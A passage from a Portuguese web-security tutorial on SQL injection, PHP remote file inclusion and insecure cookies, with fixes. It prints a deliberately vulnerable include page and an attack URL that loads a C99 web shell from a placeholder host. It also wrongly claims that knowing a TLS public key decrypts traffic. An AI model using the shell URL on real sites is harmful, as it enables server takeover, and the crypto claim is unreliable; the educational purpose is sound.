(o campo uniq). Em casos em que exista tambem uma falha de ma arquivacao de dados sensiveis, como arquivar palavra-passe e nao o hash resultante da passagem da palavra-passe por um algoritmo de hash, ir-se-ia obter a palavra-passe sem qualquer espinha, evitando o recurso a ataques de forca bruta ou de dicionario a algoritmos de hash inseguros (o uso de criptografia insegura) como o MD5 ou o SHA-1.Em PHP, existe uma forma bastante simples de evitar injeccao de SQL: usar a funcao mysql_real_escape_string() (manual do PHP: http://pt2.php.net/mysql_real_escape_string) para fazer escape dos caracteres perigosos que vem do utilizador.As falhas de injeccao nao sao, porem, apenas de SQL. As vulnerabilidades de Insecure Direct Object Reference abrem portas a injeccao de codigo na aplicacao em si. Este tipo de vulnerabilidades sao vistas principalmente em aplicacoes PHP de programadores inexperientes.Exemplo de uma falha de Insecure Direct Object Reference:Codigo: <html><head><title>Falha de code injection</title></head><body><h1>Escolha de lingua</h1><form action="<?php echo $_SERVER['PHP_SELF']; ?>" method="GET"><select name="lingua"><option>PT</option><option>EN</option></select><input type="submit" name="botao" value="Navegar!" /></form><?phpif(!empty($_GET['lingua'])){include $_GET['lingua'].".index.php";}?></body></html>Ao escrever no URL, por exemplo, http://www.exemplo.com/lingua.php?lingua=http://alojamento.tld/shells/c99.txt, o ficheiro que seria incluido seria, na verdade, o http://alojamento.tld/shells/c99.txt. Usando uma shell C99, poderia criar, apagar ou alterar ficheiros, matar processos no servidor ou desliga-lo. Este tipo de falhas e normalmente denominado de Remote File Inclusion (RFI). Usando um pouco de engenharia social, poder-se-ia fazer um URL de redireccionamento no TinyURL para uma pagina com codigo para roubar dados do utilizador. Em conjunto com falhas no handling de sessoes, poderia apoderar-me da sessao do utilizador no site, e navegar no mesmo como se fosse a vitima.Para evitar este tipo de falhas, e aconselhavel usar estruturas de controlo, como if...elseif...else ou o switch:Codigo: $pagina = $_GET['pag'];if($pagina == 'contacto'){include "contacto.php";}elseif($pagina == 'ajuda'){include "ajuda.php";}else{include "main.php";}Codigo: switch($_GET['pag']){case 'contacto':include "contacto.php";break;case 'ajuda':include "ajuda.php";break;default:include "main.php";break;}Quebras de autorizacao, falhas no handling de sessoes, ligacoes nao-segurasUm erro bastante cometido pelos menos experientes nas andancas da programacao web e a passagem de informacao sensivel por cookies em ligacoes nao-seguras. Temos, por exemplo, o caso do HDD.com.pt. O servico premium do HDD.com.pt baseia-se em cookies para verificar o estatuto do utilizador. Ao fazer login, sao estabelecidos dois cookies: um com o ID do utilizador, e outro com o hash da password desse utilizador em MD5. Este sistema esta vulneravel a quebras de autorizacao usando ataques MiM (men in the middle) uma vez que passa dados sensiveis por uma ligacao nao-segura (nao usa qualquer tipo de encriptacao, como TLS ou SSL) usando cookies (mesmo usando SSL ou TLS, bastaria saber o chave publica para descodificar o pacote e obter os cookies). Para prevenir este tipo de falhas, aconselha-se a nunca enviar dados sensiveis de ou para o cliente usando ligacoes nao seguras, nunca usar cookies para identificacao do utilizador nem qualquer tipo de funcionalidades para lembrar o utilizador, para lhe poupar o trabalho de fazer login cada vez que abre o browser.Como alternativa a passagem de informacao identificativa por cookies, aconselha-se o uso de sessoes. No entanto, o uso de sessoes sofre do mesmo mal que os cookies: podem ser roubadas. Um dos erros mais comuns no uso de sessoes e nao haver qualquer tipo de